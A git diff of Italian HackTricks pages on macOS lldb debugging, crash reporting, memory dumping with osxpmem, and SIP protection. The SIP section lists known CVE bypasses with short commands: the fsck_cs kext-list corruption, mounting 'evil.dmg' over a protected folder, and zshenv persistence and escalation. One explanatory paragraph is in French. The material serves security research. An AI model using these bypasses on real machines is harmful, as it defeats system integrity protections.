#Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un'addizione all'altra<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Stampa la mappa della memoria del processo corrente</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Ottieni l'indirizzo di tutti i simboli da CoreNLP</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come stringa terminata da null (“C”). Per stampare il nome tramite lldb fare:
|
||||
|
@ -518,10 +505,10 @@ In questi casi il core dump viene generato secondo `kern.corefile` sysctl e soli
|
|||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **analizza i processi in crash e salva un rapporto di crash su disco**. Un rapporto di crash contiene informazioni che possono **aiutare uno sviluppatore a diagnosticare** la causa di un crash.\
|
||||
Per le applicazioni e altri processi **in esecuzione nel contesto di launchd per utente**, ReportCrash viene eseguito come un LaunchAgent e salva i rapporti di crash nella `~/Library/Logs/DiagnosticReports/` dell'utente.\
|
||||
Per i demoni, altri processi **in esecuzione nel contesto di launchd di sistema** e altri processi privilegiati, ReportCrash viene eseguito come un LaunchDaemon e salva i rapporti di crash nei `/Library/Logs/DiagnosticReports` del sistema.
|
||||
Per le applicazioni e altri processi **in esecuzione nel contesto di launchd per utente**, ReportCrash viene eseguito come un LaunchAgent e salva i rapporti di crash nella cartella `~/Library/Logs/DiagnosticReports/` dell'utente.\
|
||||
Per i demoni, altri processi **in esecuzione nel contesto di launchd di sistema** e altri processi privilegiati, ReportCrash viene eseguito come un LaunchDaemon e salva i rapporti di crash nella cartella `/Library/Logs/DiagnosticReports` del sistema.
|
||||
|
||||
Se sei preoccupato che i rapporti di crash **vengano inviati ad Apple**, puoi disabilitarli. Se no, i rapporti di crash possono essere utili per **capire come è andato in crash un server**.
|
||||
Se sei preoccupato che i rapporti di crash **siano inviati ad Apple**, puoi disabilitarli. In caso contrario, i rapporti di crash possono essere utili per **capire come è andato in crash un server**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -631,21 +618,9 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -653,7 +628,7 @@ Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,44 @@
|
|||
# Dumping della memoria di macOS
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
### Swap Files
|
||||
|
||||
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
I file di swap, come `/private/var/vm/swapfile0`, servono come **cache quando la memoria fisica è piena**. Quando non c'è più spazio nella memoria fisica, i suoi dati vengono trasferiti a un file di swap e poi riportati nella memoria fisica secondo necessità. Possono essere presenti più file di swap, con nomi come swapfile0, swapfile1, e così via.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Il file situato in `/private/var/vm/sleepimage` è cruciale durante la **modalità di ibernazione**. **I dati dalla memoria vengono memorizzati in questo file quando OS X va in ibernazione**. Al risveglio del computer, il sistema recupera i dati dalla memoria da questo file, consentendo all'utente di continuare da dove aveva interrotto.
|
||||
|
||||
***
|
||||
Vale la pena notare che sui moderni sistemi MacOS, questo file è tipicamente crittografato per motivi di sicurezza, rendendo difficile il recupero.
|
||||
|
||||
## Artefatti di Memoria
|
||||
* Per controllare se la crittografia è abilitata per il sleepimage, è possibile eseguire il comando `sysctl vm.swapusage`. Questo mostrerà se il file è crittografato.
|
||||
|
||||
### File di Swap
|
||||
### Memory Pressure Logs
|
||||
|
||||
I file di swap, come `/private/var/vm/swapfile0`, fungono da **cache quando la memoria fisica è piena**. Quando non c'è più spazio nella memoria fisica, i dati vengono trasferiti in un file di swap e poi riportati nella memoria fisica secondo necessità. Potrebbero essere presenti più file di swap, con nomi come swapfile0, swapfile1, e così via.
|
||||
Un altro file importante relativo alla memoria nei sistemi MacOS è il **registro della pressione della memoria**. Questi registri si trovano in `/var/log` e contengono informazioni dettagliate sull'uso della memoria del sistema e sugli eventi di pressione. Possono essere particolarmente utili per diagnosticare problemi legati alla memoria o per comprendere come il sistema gestisce la memoria nel tempo.
|
||||
|
||||
### Immagine di Ibernazione
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
Il file situato in `/private/var/vm/sleepimage` è cruciale durante la **modalità di ibernazione**. **I dati dalla memoria vengono memorizzati in questo file quando macOS va in ibernazione**. Al risveglio del computer, il sistema recupera i dati dalla memoria da questo file, consentendo all'utente di continuare da dove aveva lasciato.
|
||||
Per eseguire il dump della memoria in una macchina MacOS puoi utilizzare [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
È importante notare che su sistemi MacOS moderni, questo file è tipicamente crittografato per motivi di sicurezza, rendendo difficile il recupero.
|
||||
|
||||
* Per verificare se la crittografia è abilitata per il sleepimage, è possibile eseguire il comando `sysctl vm.swapusage`. Questo mostrerà se il file è crittografato.
|
||||
|
||||
### Log della Pressione di Memoria
|
||||
|
||||
Un altro file importante relativo alla memoria nei sistemi MacOS è il **log della pressione di memoria**. Questi log si trovano in `/var/log` e contengono informazioni dettagliate sull'utilizzo della memoria del sistema e sugli eventi di pressione. Possono essere particolarmente utili per diagnosticare problemi legati alla memoria o per capire come il sistema gestisce la memoria nel tempo.
|
||||
|
||||
## Dump della memoria con osxpmem
|
||||
|
||||
Per eseguire il dump della memoria in una macchina MacOS, puoi utilizzare [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Nota**: Le seguenti istruzioni funzioneranno solo per i Mac con architettura Intel. Questo strumento è ora archiviato e l'ultima versione risale al 2017. Il binario scaricato seguendo le istruzioni di seguito si rivolge ai chip Intel poiché Apple Silicon non era disponibile nel 2017. Potrebbe essere possibile compilare il binario per l'architettura arm64, ma dovrai provare da solo.
|
||||
**Nota**: Le seguenti istruzioni funzioneranno solo per i Mac con architettura Intel. Questo strumento è ora archiviato e l'ultima versione è stata rilasciata nel 2017. Il binario scaricato utilizzando le istruzioni qui sotto è destinato ai chip Intel poiché Apple Silicon non era disponibile nel 2017. Potrebbe essere possibile compilare il binario per l'architettura arm64, ma dovrai provare da solo.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -68,7 +55,7 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
```
|
||||
**Altri errori** potrebbero essere risolti **consentendo il caricamento del kext** in "Sicurezza e Privacy --> Generale", basta **consentirlo**.
|
||||
|
||||
Puoi anche utilizzare questo **oneliner** per scaricare l'applicazione, caricare il kext e eseguire il dump della memoria:
|
||||
Puoi anche usare questo **oneliner** per scaricare l'applicazione, caricare il kext e dumpare la memoria:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -77,21 +64,10 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -99,7 +75,7 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## **Informazioni di base**
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Informazioni di Base**
|
||||
|
||||
**System Integrity Protection (SIP)** in macOS è un meccanismo progettato per impedire anche agli utenti più privilegiati di apportare modifiche non autorizzate a cartelle di sistema chiave. Questa funzione gioca un ruolo cruciale nel mantenere l'integrità del sistema limitando azioni come l'aggiunta, la modifica o la cancellazione di file in aree protette. Le cartelle principali protette da SIP includono:
|
||||
**La Protezione dell'Integrità del Sistema (SIP)** in macOS è un meccanismo progettato per impedire anche agli utenti più privilegiati di apportare modifiche non autorizzate a cartelle di sistema chiave. Questa funzione gioca un ruolo cruciale nel mantenere l'integrità del sistema limitando azioni come l'aggiunta, la modifica o la cancellazione di file in aree protette. Le cartelle principali protette da SIP includono:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
Le regole che governano il comportamento di SIP sono definite nel file di configurazione situato in **`/System/Library/Sandbox/rootless.conf`**. All'interno di questo file, i percorsi che sono preceduti da un asterisco (\*) sono indicati come eccezioni alle altrimenti rigorose restrizioni di SIP.
|
||||
Le regole che governano il comportamento del SIP sono definite nel file di configurazione situato in **`/System/Library/Sandbox/rootless.conf`**. All'interno di questo file, i percorsi che sono preceduti da un asterisco (\*) sono indicati come eccezioni alle altrimenti rigorose restrizioni del SIP.
|
||||
|
||||
Considera l'esempio qui sotto:
|
||||
```javascript
|
||||
|
@ -63,7 +50,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
|||
```
|
||||
Qui, il flag **`restricted`** indica che la directory `/usr/libexec` è protetta da SIP. In una directory protetta da SIP, i file non possono essere creati, modificati o eliminati.
|
||||
|
||||
Inoltre, se un file contiene l'attributo **`com.apple.rootless`** esteso **attribute**, quel file sarà anche **protetto da SIP**.
|
||||
Inoltre, se un file contiene l'attributo **`com.apple.rootless`** come **attributo esteso**, quel file sarà anche **protetto da SIP**.
|
||||
|
||||
**SIP limita anche altre azioni di root** come:
|
||||
|
||||
|
@ -127,7 +114,7 @@ L'attributo **`com.apple.rootless.install.heritable`** consente di bypassare SIP
|
|||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
Se un pacchetto veniva installato da un'immagine montata o da un'unità esterna, l'**installer** **eseguiva** il binario da **quella file system** (anziché da una posizione protetta da SIP), facendo eseguire a **`system_installd`** un binario arbitrario.
|
||||
Se un pacchetto veniva installato da un'immagine montata o da un'unità esterna, l'**installer** avrebbe **eseguito** il binario da **quella file system** (invece che da una posizione protetta da SIP), facendo eseguire a **`system_installd`** un binario arbitrario.
|
||||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
|
@ -137,7 +124,7 @@ Il demone **`system_installd`** installerà pacchetti che sono stati firmati da
|
|||
|
||||
I ricercatori hanno scoperto che durante l'installazione di un pacchetto firmato da Apple (.pkg file), **`system_installd`** **esegue** qualsiasi **script post-install** incluso nel pacchetto. Questi script vengono eseguiti dalla shell predefinita, **`zsh`**, che esegue automaticamente **comandi dal file** **`/etc/zshenv`**, se esiste, anche in modalità non interattiva. Questo comportamento potrebbe essere sfruttato dagli attaccanti: creando un file `/etc/zshenv` malevolo e aspettando che **`system_installd` invochi `zsh`**, potrebbero eseguire operazioni arbitrarie sul dispositivo.
|
||||
|
||||
Inoltre, è stato scoperto che **`/etc/zshenv` potrebbe essere utilizzato come una tecnica di attacco generale**, non solo per un bypass di SIP. Ogni profilo utente ha un file `~/.zshenv`, che si comporta allo stesso modo di `/etc/zshenv` ma non richiede permessi di root. Questo file potrebbe essere utilizzato come meccanismo di persistenza, attivandosi ogni volta che `zsh` si avvia, o come meccanismo di elevazione dei privilegi. Se un utente admin si eleva a root usando `sudo -s` o `sudo <command>`, il file `~/.zshenv` verrebbe attivato, elevando effettivamente a root.
|
||||
Inoltre, è stato scoperto che **`/etc/zshenv` potrebbe essere utilizzato come una tecnica di attacco generale**, non solo per un bypass di SIP. Ogni profilo utente ha un file `~/.zshenv`, che si comporta allo stesso modo di `/etc/zshenv` ma non richiede permessi di root. Questo file potrebbe essere utilizzato come meccanismo di persistenza, attivandosi ogni volta che `zsh` si avvia, o come meccanismo di elevazione dei privilegi. Se un utente admin si eleva a root usando `sudo -s` o `sudo <command>`, il file `~/.zshenv` verrebbe attivato, elevandosi effettivamente a root.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
|
@ -145,7 +132,7 @@ In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-
|
|||
|
||||
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
È stata identificata una vulnerabilità in cui **`fsck_cs`** è stato ingannato a corrompere un file cruciale, a causa della sua capacità di seguire **link simbolici**. In particolare, gli attaccanti hanno creato un link da _`/dev/diskX`_ al file `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Eseguire **`fsck_cs`** su _`/dev/diskX`_ ha portato alla corruzione di `Info.plist`. L'integrità di questo file è vitale per la SIP (Protezione dell'Integrità di Sistema) del sistema operativo, che controlla il caricamento delle estensioni del kernel. Una volta corrotto, la capacità di SIP di gestire le esclusioni del kernel è compromessa.
|
||||
È stata identificata una vulnerabilità in cui **`fsck_cs`** è stato indotto a corrompere un file cruciale, a causa della sua capacità di seguire **link simbolici**. In particolare, gli attaccanti hanno creato un link da _`/dev/diskX`_ al file `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Eseguire **`fsck_cs`** su _`/dev/diskX`_ ha portato alla corruzione di `Info.plist`. L'integrità di questo file è vitale per il SIP (Protezione dell'Integrità di Sistema) del sistema operativo, che controlla il caricamento delle estensioni del kernel. Una volta corrotto, la capacità di SIP di gestire le esclusioni del kernel è compromessa.
|
||||
|
||||
I comandi per sfruttare questa vulnerabilità sono:
|
||||
```bash
|
||||
|
@ -154,7 +141,7 @@ fsck_cs /dev/diskX 1>&-
|
|||
touch /Library/Extensions/
|
||||
reboot
|
||||
```
|
||||
L'exploitation de cette vulnérabilité a de graves implications. Le fichier `Info.plist`, normalement responsable de la gestion des autorisations pour les extensions du noyau, devient inefficace. Cela inclut l'incapacité de mettre sur liste noire certaines extensions, telles que `AppleHWAccess.kext`. Par conséquent, avec le mécanisme de contrôle de SIP hors service, cette extension peut être chargée, accordant un accès en lecture et écriture non autorisé à la RAM du système.
|
||||
L'exploitation de cette vulnérabilité a de graves implications. Le fichier `Info.plist`, normalement responsable de la gestion des autorisations pour les extensions du noyau, devient inefficace. Cela inclut l'incapacité de mettre sur liste noire certaines extensions, telles que `AppleHWAccess.kext`. Par conséquent, avec le mécanisme de contrôle de SIP hors service, cette extension peut être chargée, accordant un accès en lecture et en écriture non autorisé à la RAM du système.
|
||||
|
||||
#### [Montare su cartelle protette da SIP](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||
|
||||
|
@ -165,7 +152,7 @@ mkdir evil
|
|||
hdiutil create -srcfolder evil evil.dmg
|
||||
hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
```
|
||||
#### [Bypass dell'upgrader (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||
#### [Upgrader bypass (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||
|
||||
Il sistema è impostato per avviarsi da un'immagine disco di installazione incorporata all'interno di `Install macOS Sierra.app` per aggiornare il sistema operativo, utilizzando l'utilità `bless`. Il comando utilizzato è il seguente:
|
||||
```bash
|
||||
|
@ -179,15 +166,15 @@ Inoltre, all'interno di `InstallESD.dmg`, c'è un `BaseSystem.dmg`, che funge da
|
|||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
In questo intervento di [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), viene mostrato come **`systemmigrationd`** (che può bypassare SIP) esegue uno **script bash** e uno **script perl**, che possono essere abusati tramite le variabili d'ambiente **`BASH_ENV`** e **`PERL5OPT`**.
|
||||
In questo intervento di [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), viene mostrato come **`systemmigrationd`** (che può bypassare SIP) esegue uno **script bash** e uno **script perl**, che possono essere abusati tramite variabili d'ambiente **`BASH_ENV`** e **`PERL5OPT`**.
|
||||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
Come [**dettagliato in questo post del blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), uno script `postinstall` dai pacchetti `InstallAssistant.pkg` consentiva di eseguire:
|
||||
Come [**dettagliato in questo post del blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), uno script `postinstall` da pacchetti `InstallAssistant.pkg` consentiva di eseguire:
|
||||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
e era possibile creare un symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` che consentirebbe a un utente di **rimuovere le restrizioni da qualsiasi file, eludendo la protezione SIP**.
|
||||
e era possibile creare un symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` che avrebbe permesso a un utente di **rimuovere le restrizioni da qualsiasi file, eludendo la protezione SIP**.
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
|
@ -207,7 +194,7 @@ Ecco uno sguardo più dettagliato:
|
|||
|
||||
1. **Sistema Immutabile**: I Sealed System Snapshots rendono il volume di sistema macOS "immutabile", il che significa che non può essere modificato. Questo previene qualsiasi cambiamento non autorizzato o accidentale al sistema che potrebbe compromettere la sicurezza o la stabilità del sistema.
|
||||
2. **Aggiornamenti del Software di Sistema**: Quando installi aggiornamenti o upgrade di macOS, macOS crea un nuovo snapshot di sistema. Il volume di avvio di macOS utilizza quindi **APFS (Apple File System)** per passare a questo nuovo snapshot. L'intero processo di applicazione degli aggiornamenti diventa più sicuro e affidabile poiché il sistema può sempre tornare allo snapshot precedente se qualcosa va storto durante l'aggiornamento.
|
||||
3. **Separazione dei Dati**: Insieme al concetto di separazione dei volumi Dati e Sistema introdotto in macOS Catalina, la funzionalità Sealed System Snapshot garantisce che tutti i tuoi dati e le impostazioni siano memorizzati su un volume separato "**Dati**". Questa separazione rende i tuoi dati indipendenti dal sistema, semplificando il processo di aggiornamenti di sistema e migliorando la sicurezza del sistema.
|
||||
3. **Separazione dei Dati**: In concomitanza con il concetto di separazione dei volumi Dati e Sistema introdotto in macOS Catalina, la funzionalità Sealed System Snapshot garantisce che tutti i tuoi dati e le impostazioni siano memorizzati su un volume separato "**Dati**". Questa separazione rende i tuoi dati indipendenti dal sistema, semplificando il processo di aggiornamenti di sistema e migliorando la sicurezza del sistema.
|
||||
|
||||
Ricorda che questi snapshot sono gestiti automaticamente da macOS e non occupano spazio aggiuntivo sul tuo disco, grazie alle capacità di condivisione dello spazio di APFS. È anche importante notare che questi snapshot sono diversi dagli **snapshot di Time Machine**, che sono backup accessibili dall'utente dell'intero sistema.
|
||||
|
||||
|
@ -254,7 +241,7 @@ Il comando **`diskutil apfs list`** elenca i **dettagli dei volumi APFS** e il l
|
|||
|
||||
Nell'output precedente è possibile vedere che **le posizioni accessibili all'utente** sono montate sotto `/System/Volumes/Data`.
|
||||
|
||||
Inoltre, **lo snapshot del volume di sistema macOS** è montato in `/` ed è **sigillato** (firmato crittograficamente dal sistema operativo). Quindi, se SIP viene eluso e viene modificato, il **sistema operativo non si avvierà più**.
|
||||
Inoltre, **lo snapshot del volume di sistema macOS** è montato in `/` ed è **sigillato** (firmato crittograficamente dal sistema operativo). Quindi, se SIP viene eluso e modificato, il **sistema operativo non si avvierà più**.
|
||||
|
||||
È anche possibile **verificare che il sigillo sia abilitato** eseguendo:
|
||||
```bash
|
||||
|
@ -266,20 +253,9 @@ Inoltre, il disco snapshot è montato anche come **sola lettura**:
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
